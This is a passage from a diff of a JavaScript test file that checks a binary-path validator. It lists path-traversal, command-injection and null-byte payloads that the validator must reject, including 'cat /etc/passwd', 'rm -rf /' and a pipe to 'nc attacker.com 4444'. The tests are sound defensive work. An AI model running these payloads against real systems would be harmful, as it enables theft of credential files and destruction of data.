|
+
const result = checkExecutable('/this/path/does/not/exist');
|
|
224
|
+
assert.strictEqual(result.exists, false);
|
|
225
|
+
assert.strictEqual(result.executable, false);
|
|
226
|
+
});
|
|
227
|
+
|
|
228
|
+
it('should detect executable files', () => {
|
|
229
|
+
// Test with the node binary (known to be executable)
|
|
230
|
+
const result = checkExecutable(process.execPath);
|
|
231
|
+
assert.strictEqual(result.exists, true);
|
|
232
|
+
assert.strictEqual(result.executable, true);
|
|
233
|
+
});
|
|
234
|
+
});
|
|
235
|
+
|
|
236
|
+
// Integration-style tests for attack scenarios
|
|
237
|
+
describe('attack scenario prevention', () => {
|
|
238
|
+
it('should prevent path traversal to system files', () => {
|
|
239
|
+
const attacks = [
|
|
240
|
+
'../../../etc/passwd',
|
|
241
|
+
'/home/user/../../../etc/passwd',
|
|
242
|
+
'..\\..\\..\\windows\\system32\\cmd.exe',
|
|
243
|
+
'/usr/bin/../../etc/shadow',
|
|
244
|
+
];
|
|
245
|
+
|
|
246
|
+
for (const attack of attacks) {
|
|
247
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
248
|
+
assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
|
|
249
|
+
}
|
|
250
|
+
});
|
|
251
|
+
|
|
252
|
+
it('should prevent command injection via path', () => {
|
|
253
|
+
const attacks = [
|
|
254
|
+
'/bin/bd; cat /etc/passwd',
|
|
255
|
+
'/bin/bd && rm -rf /',
|
|
256
|
+
'/bin/bd | nc attacker.com 4444',
|
|
257
|
+
'/bin/bd`whoami`',
|
|
258
|
+
'/bin/bd$(id)',
|
|
259
|
+
'/bin/bd > /tmp/output',
|
|
260
|
+
];
|
|
261
|
+
|
|
262
|
+
for (const attack of attacks) {
|
|
263
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
264
|
+
assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
|
|
265
|
+
}
|
|
266
|
+
});
|
|
267
|
+
|
|
268
|
+
it('should prevent null byte injection', () => {
|
|
269
|
+
const attacks = [
|
|
270
|
+
'/bin/bd\0.txt',
|
|
271
|
+
'/bin/\0bd',
|
|
272
|
+
'bd\0malicious',
|
|
273
|
+
];
|
|
274
|
+
|
|
275
|
+
for (const attack of attacks) {
|
|
276
|
+
const result = validateBinaryPath(attack, { checkExists: false });
|
|
277
|
+
assert.strictEqual(result.valid, false, `Should reject path with null byte`);
|
|
278
|
+
}
|
|
279
|
+
});
|
|
280
|
+
});
|